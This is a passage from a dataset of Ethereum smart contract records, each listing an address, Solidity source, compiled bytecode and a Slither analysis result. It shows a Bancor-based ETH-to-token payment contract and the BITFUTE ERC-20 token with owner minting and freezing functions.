address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x8b9dbdfacf9d0659044c4c83c213e5a245785729 | pragma solidity 0.4.24;
// File: contracts/common/Ownable.sol
/**
* Ownable contract from Open zepplin
* https://github.com/OpenZeppelin/openzeppelin-solidity/
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/common/ReentrancyGuard.sol
/**
* Reentrancy guard from open Zepplin :
* https://github.com/OpenZeppelin/openzeppelin-solidity/
*
* @title Helps contracts guard agains reentrancy attacks.
* @author Remco Bloemen <remco@2π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private reentrancyLock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!reentrancyLock);
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
// File: contracts/common/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/interfaces/ERC20Interface.sol
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
//TODO : Flattener does not like aliased imports. Not needed in actual codebase.
interface IERC20Token {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/interfaces/IBancorNetwork.sol
contract IBancorNetwork {
function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256);
function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256);
function convertForPrioritized2(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
address _for,
uint256 _block,
uint8 _v,
bytes32 _r,
bytes32 _s)
public payable returns (uint256);
// deprecated, backward compatibility
function convertForPrioritized(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
address _for,
uint256 _block,
uint256 _nonce,
uint8 _v,
bytes32 _r,
bytes32 _s)
public payable returns (uint256);
}
/*
Bancor Contract Registry interface
*/
contract IContractRegistry {
function getAddress(bytes32 _contractName) public view returns (address);
}
// File: contracts/TokenPaymentBancor.sol
/*
* @title Token Payment using Bancor API v0.1
* @author Haresh G
* @dev This contract is used to convert ETH to an ERC20 token on the Bancor network.
* @notice It does not support ERC20 to ERC20 transfer.
*/
contract IndTokenPayment is Ownable, ReentrancyGuard {
using SafeMath for uint256;
IERC20Token[] public path;
address public destinationWallet;
//Minimum tokens per 1 ETH to convert
uint256 public minConversionRate;
IContractRegistry public bancorRegistry;
bytes32 public constant BANCOR_NETWORK = "BancorNetwork";
event conversionSucceded(address from,uint256 fromTokenVal,address dest,uint256 minReturn,uint256 destTokenVal);
event conversionMin(uint256 min);
constructor(IERC20Token[] _path,
address destWalletAddr,
address bancorRegistryAddr,
uint256 minConvRate){
path = _path;
bancorRegistry = IContractRegistry(bancorRegistryAddr);
destinationWallet = destWalletAddr;
minConversionRate = minConvRate;
}
function setConversionPath(IERC20Token[] _path) public onlyOwner {
path = _path;
}
function setBancorRegistry(address bancorRegistryAddr) public onlyOwner {
bancorRegistry = IContractRegistry(bancorRegistryAddr);
}
function setMinConversionRate(uint256 minConvRate) public onlyOwner {
minConversionRate = minConvRate;
}
function setDestinationWallet(address destWalletAddr) public onlyOwner {
destinationWallet = destWalletAddr;
}
function convertToInd() internal nonReentrant {
assert(bancorRegistry.getAddress(BANCOR_NETWORK) != address(0));
IBancorNetwork bancorNetwork = IBancorNetwork(bancorRegistry.getAddress(BANCOR_NETWORK));
uint256 minReturn = minConversionRate.mul(msg.value);
uint256 convTokens = bancorNetwork.convertFor.value(msg.value)(path,msg.value,minReturn,destinationWallet);
assert(convTokens > 0);
emit conversionSucceded(msg.sender,msg.value,destinationWallet,minReturn,convTokens);
}
//If accidentally tokens are transferred to this
//contract. They can be withdrawn by the followin interface.
function withdrawToken(IERC20Token anyToken) public onlyOwner nonReentrant returns(bool){
if( anyToken != address(0x0) ) {
assert(anyToken.transfer(destinationWallet, anyToken.balanceOf(this)));
}
return true;
}
//ETH cannot get locked in this contract. If it does, this can be used to withdraw
//the locked ether.
function withdrawEther() public onlyOwner nonReentrant returns(bool){
if(address(this).balance > 0){
destinationWallet.transfer(address(this).balance);
}
return true;
}
function () public payable {
//Bancor contract can send the transfer back in case of error, which goes back into this
//function ,convertToInd is non-reentrant.
convertToInd();
}
/*
* Helper function
*
*/
function getBancorContractAddress() public view returns(address) {
return bancorRegistry.getAddress(BANCOR_NETWORK);
}
} | 0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630f4f8184146100e557806313fa095f1461013c57806353b7a59b1461017f578063624964c3146101d657806370228eea1461022d578063715018a6146102935780637362377b146102aa57806386f254bf146102d957806389476069146103045780638da5cb5b1461035f5780639232494e146103b6578063a215cd92146103e9578063af6d1fe414610416578063c6ce266414610483578063f2fde38b146104c6575b6100e3610509565b005b3480156100f157600080fd5b506100fa610a01565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014857600080fd5b5061017d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a27565b005b34801561018b57600080fd5b50610194610ac6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101e257600080fd5b506101eb610aec565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023957600080fd5b5061029160048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610be7565b005b34801561029f57600080fd5b506102a8610c5c565b005b3480156102b657600080fd5b506102bf610d5e565b604051808215151515815260200191505060405180910390f35b3480156102e557600080fd5b506102ee610eb4565b6040518082815260200191505060405180910390f35b34801561031057600080fd5b50610345600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eba565b604051808215151515815260200191505060405180910390f35b34801561036b57600080fd5b50610374611185565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103c257600080fd5b506103cb6111aa565b60405180826000191660001916815260200191505060405180910390f35b3480156103f557600080fd5b50610414600480360381019080803590602001909291905050506111ce565b005b34801561042257600080fd5b5061044160048036038101908080359060200190929190505050611233565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048f57600080fd5b506104c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611271565b005b3480156104d257600080fd5b50610507600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611310565b005b60008060008060149054906101000a900460ff1615151561052957600080fd5b6001600060146101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a7217f42616e636f724e6574776f726b000000000000000000000000000000000000006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561061557600080fd5b505af1158015610629573d6000803e3d6000fd5b505050506040513d602081101561063f57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161415151561067057fe5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a7217f42616e636f724e6574776f726b000000000000000000000000000000000000006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561072957600080fd5b505af115801561073d573d6000803e3d6000fd5b505050506040513d602081101561075357600080fd5b8101908080519060200190929190505050925061077b3460035461137790919063ffffffff16565b91508273ffffffffffffffffffffffffffffffffffffffff1663c98fefed3460013486600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518663ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180806020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182810382528681815481526020019150805480156108a557602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161085b575b5050955050505050506020604051808303818588803b1580156108c757600080fd5b505af11580156108db573d6000803e3d6000fd5b50505050506040513d60208110156108f257600080fd5b8101908080519060200190929190505050905060008111151561091157fe5b7feb098d35312a0bf39a0f493a76584daec1883a9ebb7f3909c8d822d7b886fda03334600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168585604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019550505050505060405180910390a160008060146101000a81548160ff021916908315150217905550505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a7217f42616e636f724e6574776f726b000000000000000000000000000000000000006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b158015610ba757600080fd5b505af1158015610bbb573d6000803e3d6000fd5b505050506040513d6020811015610bd157600080fd5b8101908080519060200190929190505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4257600080fd5b8060019080519060200190610c589291906114a9565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dbb57600080fd5b600060149054906101000a900460ff16151515610dd757600080fd5b6001600060146101000a81548160ff02191690831515021790555060003073ffffffffffffffffffffffffffffffffffffffff16311115610e9357600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610e91573d6000803e3d6000fd5b505b6001905060008060146101000a81548160ff02191690831515021790555090565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1757600080fd5b600060149054906101000a900460ff16151515610f3357600080fd5b6001600060146101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515611162578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561105e57600080fd5b505af1158015611072573d6000803e3d6000fd5b505050506040513d602081101561108857600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561111e57600080fd5b505af1158015611132573d6000803e3d6000fd5b505050506040513d602081101561114857600080fd5b8101908080519060200190929190505050151561116157fe5b5b6001905060008060146101000a81548160ff021916908315150217905550919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f42616e636f724e6574776f726b0000000000000000000000000000000000000081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561122957600080fd5b8060038190555050565b60018181548110151561124257fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112cc57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561136b57600080fd5b611374816113af565b50565b60008083141561138a57600090506113a9565b818302905081838281151561139b57fe5b041415156113a557fe5b8090505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113eb57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b828054828255906000526020600020908101928215611522579160200282015b828111156115215782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550916020019190600101906114c9565b5b50905061152f9190611533565b5090565b61157391905b8082111561156f57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101611539565b5090565b905600a165627a7a723058201dceb61ddb8e2790f08bda0ebb500b5c92275daf7a7fbab28e468a10aef005910029 | {"success": true, "error": null, "results": {}} | 300 |
0xe43088cbb12b1cd6cd22351d43d276578617e1c0 | pragma solidity ^0.5.0;
/*
* Creator: BITFUTE
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() public view returns (uint256 supply);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
constructor () public {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) public returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) public view
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* BIT Coin smart contract.
*/
contract BIT is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 100000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
constructor () public {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() public view returns (uint256 supply) {
return tokenCount;
}
string constant public name = "BITFUTE";
string constant public symbol = "BIT";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) public
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value) public
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(address(0), msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) public {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () public {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () public {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) public {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) public {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
} | 0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101fa57806318160ddd1461024b57806323b872dd14610276578063313ce5671461030957806331c420d41461033a57806370a08231146103515780637e1f2bb8146103b657806389519c501461040957806395d89b4114610484578063a9059cbb14610514578063dd62ed3e14610587578063e724529c1461060c575b600080fd5b3480156100ec57600080fd5b506100f5610669565b005b34801561010357600080fd5b5061010c610725565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101e0600480360360408110156101aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061075e565b604051808215151515815260200191505060405180910390f35b34801561020657600080fd5b506102496004803603602081101561021d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610794565b005b34801561025757600080fd5b50610260610834565b6040518082815260200191505060405180910390f35b34801561028257600080fd5b506102ef6004803603606081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083e565b604051808215151515815260200191505060405180910390f35b34801561031557600080fd5b5061031e6108cc565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034657600080fd5b5061034f6108d1565b005b34801561035d57600080fd5b506103a06004803603602081101561037457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061098c565b6040518082815260200191505060405180910390f35b3480156103c257600080fd5b506103ef600480360360208110156103d957600080fd5b81019080803590602001909291905050506109d4565b604051808215151515815260200191505060405180910390f35b34801561041557600080fd5b506104826004803603606081101561042c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b77565b005b34801561049057600080fd5b50610499610d97565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d95780820151818401526020810190506104be565b50505050905090810190601f1680156105065780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561052057600080fd5b5061056d6004803603604081101561053757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd0565b604051808215151515815260200191505060405180910390f35b34801561059357600080fd5b506105f6600480360360408110156105aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e5c565b6040518082815260200191505060405180910390f35b34801561061857600080fd5b506106676004803603604081101561062f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610ee3565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106c557600080fd5b600560009054906101000a900460ff161515610723576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600781526020017f424954465554450000000000000000000000000000000000000000000000000081525081565b60008061076b3385610e5c565b14806107775750600082145b151561078257600080fd5b61078c8383611044565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107f057600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561089957600080fd5b600560009054906101000a900460ff16156108b757600090506108c5565b6108c2848484611136565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561092d5760